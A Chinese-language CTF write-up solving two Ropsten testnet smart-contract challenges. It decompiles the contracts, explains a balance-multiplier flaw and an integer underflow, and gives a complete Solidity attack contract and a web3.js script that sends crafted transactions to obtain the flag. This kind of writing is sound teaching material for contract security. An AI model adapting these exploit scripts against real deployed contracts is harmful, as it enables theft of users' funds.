前言
区块链题目目前主要门槛还是在对合约语言(Solidity、Web3.js)的熟悉上,这次比赛题目逻辑很简单,而且两种区块链题目常用的攻击方式都有涉及到很适合新手入门。
在此之前所需要最低限度的预备知识:
Remix和metamask网上资料很多此处不再赘述。关于Solidity和Web3.js语言学习可以先按照cryptozombies这个网站学习,通过编写合约游戏学习Solidity基本语法,一天基本就能刷完。另外,这个网站Solidity版本是0.4.19和0.5.0后版本语法略有区别,具体可以看这里。本文Solidity版本0.5.11、web3.js版本1.2.1。
Rise
题目描述:0xc9B91F149d3699474a0E680D55da62FBD3a51485@ ropsten, event SendFlag(string b64email);
进入Ropsten后输入合约地址可查看到题目合约的相关信息:
下面我们要反编译合约代码,我们可以通过在Contract
一栏下点击Decompile ByteCode
即可得到合约的反汇编代码:
此外还有一个在线反编译网站但这个反编译效果较差,代码可读性没有前者高。
反编译合约如下:
mapping (address => unknown) public balance;
mapping (unknown => unknown) mapping2;
unknown var1;
unknown var2;
unknown var3;
//mutilBalance
function 0dc8cca1() public payable {
require((balance[msg.sender] > 0));
if((_arg0 == var2) == 0) {
balance[msg.sender] = 0;
var3 = 1;
return;
} else {
balance[msg.sender] = (balance[msg.sender] + ((msg.value / de0b6b3a7640000) * var3));
var3 = 1;
return;
}
}
//setVar1
function 132429ba() public {
require((balance[msg.sender] > 0));
if(_arg0 == 0) {
var1 = ((msg.sender * 1) || (-10000000000000000000000000000000000000000 && var1));
var2 = balance[msg.sender];
balance[msg.sender] = 0;
return;
} else {
balance[_arg0] = balance[msg.sender];
balance[msg.sender] = 0;
return;
}
}
function airdrop() public {
require((mapping2[msg.sender] == 0));
balance[msg.sender] = (balance[msg.sender] + 1);
return;
}
function 6bc344bc() public {
require((balance[msg.sender] > f4240));
balance[msg.sender] = 0;
var3 = 1;
if(call((((this.balance) == 0) * 8fc),storage[5],(this.balance),(80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))),((80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))) - (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))),(80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))),0)) {
memory[(80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))] = ((20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))) - (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))));
memory[(20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))))] = msg.data[(4 + _arg0)];
if(0 >= msg.data[(4 + _arg0)]) {
if((1f && msg.data[(4 + _arg0)]) == 0) {
log(56150535901038909667305424734848545438369482589900358257249567309555701096101)
return;
} else {
memory[((msg.data[(4 + _arg0)] + (20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))))) - (1f && msg.data[(4 + _arg0)]))] = ((~((100 ** (20 - (1f && msg.data[(4 + _arg0)]))) - 1)) && (memory[((msg.data[(4 + _arg0)] + (20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))))) - (1f && msg.data[(4 + _arg0)]))]));
log(56150535901038909667305424734848545438369482589900358257249567309555701096101)
return;
}
} else {
memory[(20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))))] = (msg.data[20 + (4 + _arg0):(20 + (4 + _arg0)+msg.data[(4 + _arg0)])];);
if(20 >= msg.data[(4 + _arg0)]) goto(823);
memory[((20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))))) + 20)] = (memory[c0]);
goto(808);
}
} else {
revert(memory[0:(0+output.length)]);
}
}
function 8e2a219e() public {
require((msg.sender == storage[5]));
var2 = _arg0;
return;
}
//setVar3
function 9ec1ebb8() public {
require((msg.sender == var1));
var3 = _arg0;
return;
}
function cbfc4bce() public view {
return(mapping2[_arg0]);
}
function deposit() public payable {
balance[msg.sender] = (balance[msg.sender] + (msg.value / de0b6b3a7640000));
return;
}
我们首先看函数6bc344bc
,这个函数虽然看似复杂实际上等效代码为:
function payforflag(string b64email) public {
require(balanceOf[msg.sender] > 0xf4240);
balance[msg.sender] = 0;
var3 = 1;
emit SendFlag(b64email);
}
获得flag条件为账户余额大于0xf4240ehter
。
解题的关键函数在0dc8cca1
(mutilBalance
)当传入参数值等于var2
且var3
是一个较大值时,我们就可以通过只转1ether
使得账户余额翻倍从而达到获取flag的条件。
若要设置var3
需调用函数9ec1ebb8
(setVar3
),且你的账户地址(msg.sender
)需与var1
相等。
若要设置var1
需调用函数132429ba
(setVar1
),且当账户余额大于零、传入参数值为0。
由此我们可以梳理出获得flag的流程:
创建合约A:
1.调用airdrop
,使得balance[address(A)]=1
2.调用setVar1()
传入参数0,使得var1=msg.sender
,var2=balance[address(A)]
,
3.调用setVar3()
传入一个大于0xf4240的值,使得var3=arg0
由于在步骤2中balance[address(A)]
被设置成0,无法绕过mutilBalance
的检查。我们需要另一个合约B给合约A转钱即可:
创建合约B:
4.调用airdrop
,使得balance[address(B)]=1
5.调用setVar1()
传入参数address(A)
,给合约A转账使得balance[address(A)]=1
返回合约A:
6.调用multibalance()
传入参数1(即步骤2中var2值),使得balance[address(A)]>0xf4240
7.调用payforflag()
获取flag
由于攻击过程中我们需要给目标合约转账我们可以通过以太坊水龙头获取ETH
完整的攻击合约如下:
pragma solidity >=0.5.0 <=0.6.0 ;
//创建题目合约用于攻击合约调用
contract Rise {
mapping(address => uint) public balance;
function payforflag(string memory _b64email) public;
function deposit() public payable;
function airdrop() public;
}
contract AttackGame {
//调用题目合约
Rise mime = Rise(0xc9B91F149d3699474a0E680D55da62FBD3a51485);
function getmoney() payable public{}
//若反编译出题目函数名用这种方式调用
function airDrop () public {
mime.airdrop();
}
//若函数名只有字节码用如下方式调用,注意0.4版本用
//bool success = address(mime).call(bytes4(0x132429ba),0)方式调用
function setVar1() public returns(bytes memory){
(bool success,bytes memory data) = address(mime).call(abi.encodeWithSelector(bytes4(0x132429ba),0));
require(success,"success");
return data;
}
function setVar3() public returns(bytes memory){
(bool success,bytes memory data) = address(mime).call(abi.encodeWithSelector(bytes4(0x9ec1ebb8),0xf4241));
require(success,"success");
return data;
}
//调用字节码函数需要传入ether时用如下方式
function multiBalance() public payable returns(bytes memory){
(bool success,bytes memory data) = address(mime).call.value(1 ether)(abi.encodeWithSelector(bytes4(0x0dc8cca1),1));
require(success,"success");
return data;
}
function transfer(address account) public returns(bytes memory){
(bool success,bytes memory data) = address(mime).call(abi.encodeWithSelector(bytes4(0x132429ba),account));
require(success,"success");
return data;
}
}
Cow
题目描述:0x0c6a4790e6c8a2Fd195daDee7c16C8E5c532239B@ ropsten, event SendFlag(string b64email);
和上一道题目一样拿到合约地址后反编译查看合约逻辑:
mapping (address => unknown) public balance;
unknown var1;
unknown var2;
unknown var3;
unknown public owner;
unknown var5;
function 1a374399() public view {
return(var3);
}
function 1cee5d7a() public view {
return(var2);
}
//payforflag
function 6bc344bc() public {
require((msg.sender == var1));
require((msg.sender == var2));
require((msg.sender == var3));
if(call((((this.balance) == 0) * 8fc),owner,(this.balance),(80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))),((80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))) - (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))),(80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))),0)) {
memory[(80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))] = ((20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))) - (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))));
memory[(20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))))] = msg.data[(4 + _arg0)];
if(0 >= msg.data[(4 + _arg0)]) {
if((1f && msg.data[(4 + _arg0)]) == 0) {
log(56150535901038909667305424734848545438369482589900358257249567309555701096101)
return;
} else {
memory[((msg.data[(4 + _arg0)] + (20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))))) - (1f && msg.data[(4 + _arg0)]))] = ((~((100 ** (20 - (1f && msg.data[(4 + _arg0)]))) - 1)) && (memory[((msg.data[(4 + _arg0)] + (20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))))) - (1f && msg.data[(4 + _arg0)]))]));
log(56150535901038909667305424734848545438369482589900358257249567309555701096101)
return;
}
} else {
memory[(20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20)))))] = (msg.data[20 + (4 + _arg0):(20 + (4 + _arg0)+msg.data[(4 + _arg0)])];);
if(20 >= msg.data[(4 + _arg0)]) goto(53b);
memory[((20 + (20 + (80 + (20 + (((1f + msg.data[(4 + _arg0)]) / 20) * 20))))) + 20)] = (memory[c0]);
goto(520);
}
} else {
revert(memory[0:(0+output.length)]);
}
}
//setvar2
function 96c50336() public payable {
if((msg.value / de0b6b3a7640000) >= 1) {
var2 = ((msg.sender * 1) || (-10000000000000000000000000000000000000000 && var2));
return;
} else {
var5 = ((msg.sender * 1) || (-10000000000000000000000000000000000000000 && var5));
return;
}
}
//getMoney
function 9ae5a2be() public payable {
balance[msg.sender] = (balance[msg.sender] + (msg.value / de0b6b3a7640000));
if((msg.sender == 525b) == 0) {
return;
} else {
balance[msg.sender] -= b1b1;
return;
}
}
function d0d124c0() public view {
return(var1);
}
//setvar3
function ed6b8ff3() public {
require((balance[msg.sender] > f4240));
balance[msg.sender] = 0;
var3 = ((msg.sender * 1) || (-10000000000000000000000000000000000000000 && var3));
return;
}
//setvar1
function Cow() public payable {
if((msg.value == de0b6b3a7640000) == 0) {
return;
} else {
var1 = ((msg.sender * 1) || (-10000000000000000000000000000000000000000 && var1));
return;
}
}
这道题思路更加清晰有了上一道题的经验我们可以梳理出获得flag的合约调用思路:
1.调用setVar1()
,且需传入1ether(0xde0b6b3a7640000 wei =10^18 wei = 1ether
),使得var1=msg.sender
2.调用setVar2()
,且需传入1ehter,使得var2=msg.sender
3.调用getMoney()
,使得balance[msg.sender]
整数下溢为一个很大的值
4.调用setVar3()
,使得var3=msg.sender
5.调用payforflag()
,绕过三个require限制获取flag
本题在getMoney()
函数中限制账户后4位必须为525b,因为我们很难控制部署的攻击合约的账户地址,故本题需用web3.js写攻击脚本直接与目标合约进行交互。
可以通过这个网站获取后4位符合题目要求的账户地址,也可以自己写python脚本生成,可参考这篇文章。
web3.js需要node.js和如下库:
npm install --save [email protected]
npm install ethereumjs-abi
npm install ethereumjs-tx
web3.js
、ethereumjs-abi
、ethereumjs-tx
的文档不太友好,比较细碎。完整的解题脚本如下,也算是总结了一个针对合约无源码情况下的攻击脚本:
let Web3 = require("web3");
let Tx = require('ethereumjs-tx').Transaction;
let abi = require('ethereumjs-abi');
//导入账户私钥和账户地址
let privKey = new Buffer.from('253...0DC3', 'hex');
let fromAddress = "0x135...525b";
//目标合约地址
let contractAddress = "0x0c6a4790e6c8a2Fd195daDee7c16C8E5c532239B";
let web3 = new Web3();
//这里使用infura的api连接到ropsten网络,需要先在infura网站注册获取API_KEY
let INFURA_API_KEY = "f2011...baa28b5c"
let ROPSTEN_URL = "https://ropsten.infura.io/v3/" + INFURA_API_KEY
web3.setProvider(new Web3.providers.HttpProvider(ROPSTEN_URL))
async function genRawTx(funcId,typelist,arglist,value){
//获取当前账户的交易数量
let number = web3.utils.toHex(await web3.eth.getTransactionCount(fromAddress));
//生成data段数据
let paramsData = abi.rawEncode(typelist,arglist).toString('hex');
//拼接要调用的方法名
let data = funcId+paramsData;
let rawTx = {
nonce: number,
gasPrice: web3.utils.toHex(web3.utils.toWei('10', 'gwei')),
gasLimit: web3.utils.toHex(3000000), // '0x2dc6c0',
to: contractAddress,//接收方地址
from: fromAddress,//发送方地址
value: value,//发送金额,单位为wei
data: data
}
return rawTx
}
async function setVar1(){
var rawTx=await genRawTx("0xff2eff94",[],[],"0x0de0b6b3a7640000");
//使用私钥对原始的交易信息进行签名,得到签名后的交易数据
var tx = new Tx(rawTx,{'chain':'ropsten'});
tx.sign(privKey);
var serializedTx = tx.serialize();
//发送交易
await web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
.on('receipt', console.log);
}
async function setVar2(){
var rawTx=await genRawTx("0x96c50336",[],[],"0x0de0b6b3a7640000");
var tx = new Tx(rawTx,{'chain':'ropsten'});
tx.sign(privKey);
var serializedTx = tx.serialize();
await web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
.on('receipt', console.log);
}
async function getMoney(){
var rawTx=await genRawTx("0x9ae5a2be",[],[],"0x0");
var tx = new Tx(rawTx,{'chain':'ropsten'});
tx.sign(privKey);
var serializedTx = tx.serialize();
await web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
.on('receipt', console.log);
}
async function setVar3(){
var rawTx=await genRawTx("0xed6b8ff3",[],[],"0x0");
var tx = new Tx(rawTx,{'chain':'ropsten'});
tx.sign(privKey);
var serializedTx = tx.serialize();
await web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
.on('receipt', console.log);
}
async function payforflag(){
var rawTx=await genRawTx("0x6bc344bc",["string"],["your email address"],"0x0");
var tx = new Tx(rawTx,{'chain':'ropsten'});
tx.sign(privKey);
var serializedTx = tx.serialize();
await web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
.on('receipt', console.log);
}
//setVar1();
//setVar2();
//getMoney();
//setVar3();
payforflag();
上面这个是针对合约无源码的,针对合约有源码的情况可以参考这篇文章。
总结
这两道题主要考察对Solidity和web3.js语言的使用未涉及过多的区块链漏洞方面的知识。想进一步了解的同学可以参考Solidity 安全:已知攻击方法和常见防御模式综合列表。以及国赛、强网杯区块链相关题目。